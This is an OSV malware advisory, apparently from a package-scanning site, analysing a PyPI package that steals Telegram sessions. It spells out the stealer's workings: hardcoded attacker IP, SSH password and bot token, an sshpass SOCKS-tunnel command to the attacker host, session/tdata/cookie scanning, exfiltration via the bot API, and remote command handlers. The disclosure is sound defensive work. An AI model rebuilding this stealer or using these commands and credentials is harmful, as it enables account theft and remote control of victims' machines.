Logo
pypi

telegram-helper@0.1.2

Vulnerability report · Last retrieved from osv.dev October 7, 2026 at 3:34 PM UTC

Malicious

OSV ID

MAL-2026-16017

Ecosystem

pypi

Summary

telegram_helper describes itself as "A minimal example Python library" and ships a Russian-language template README (the Homepage field is still the unedited placeholder https://github.com/your-username/telegram_helper), but the entire 9,586-byte src/telegram_helper/__init__.py is a Telegram account-theft toolkit with credentials hardcoded in cleartext: SSH_HOST = "163.5.153.115", SSH_USER = "root", SSH_PASS = "AsQnq6CXk3eCm", BOT_TOKEN = "8948626737:AAEO9HcDgkKgbUXc3uXLt7geH_nK41vlzXg", YOUR_ID = "1625851734", and API_ID/API_HASH 20838706 / d5efb283650598ff4d3570adbbcb8d15. daemonize() performs a POSIX double-fork plus setsid and redirects stdin/stdout/stderr to /dev/null, or on Windows calls ctypes.windll.user32.ShowWindow(GetConsoleWindow(), 0) to hide the console. start_socks_tunnel() shells out to sshpass -p <PASS> ssh -N -D 127.0.0.1:10808 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@163.5.153.115, and set_proxy_env() then points http_proxy, https_proxy and all_proxy at that SOCKS5 listener, routing subsequent traffic through the author's host with host-key verification disabled. scan_sessions(), scan_tdata() and scan_cookies() walk ~, /tmp and /root for Telethon/Pyrogram session files (*.session, *.session.*, *.pyrogram, *.ini), Telegram Desktop tdata directories, and any filename containing cookie. check_session_telethon() and check_session_pyrogram() then connect each recovered session to Telegram using the author's own API_ID/API_HASH, call is_user_authorized(), and read back me.id, me.username, me.first_name and me.last_name to validate and label each hijacked account. full_scan_and_send() exfiltrates every session file via POST https://api.telegram.org/bot<BOT_TOKEN>/sendDocument to chat_id=1625851734 with the enumerated account identity as the caption, ZIP-archives each tdata directory to /tmp/tdata_<name>.zip and uploads it before deleting the archive, uploads every matched cookie file, and posts a summary count via /sendMessage. The module additionally registers Telegram command handlers /scan, /send_tdata, /send_sessions, /send_cookies, /ip and /kill, giving the bot owner an on-demand remote command channel against the victim host. Notably pyproject.toml declares no dependencies at all while the module imports requests, telegram, telethon and pyrogram, so the package only loads successfully on machines that already have Telegram client libraries installed - i.e. Telegram bot and userbot developers, whose session files are exactly what it targets.

Source: amazon-inspector (90afeb1d39f1ef3d107f2da6a26c4af8c7efb314bb0f272d45fa755119e1b669)

Protect your entire dependency tree

Scan your lock files automatically on every PR. Block malicious packages before they reach production.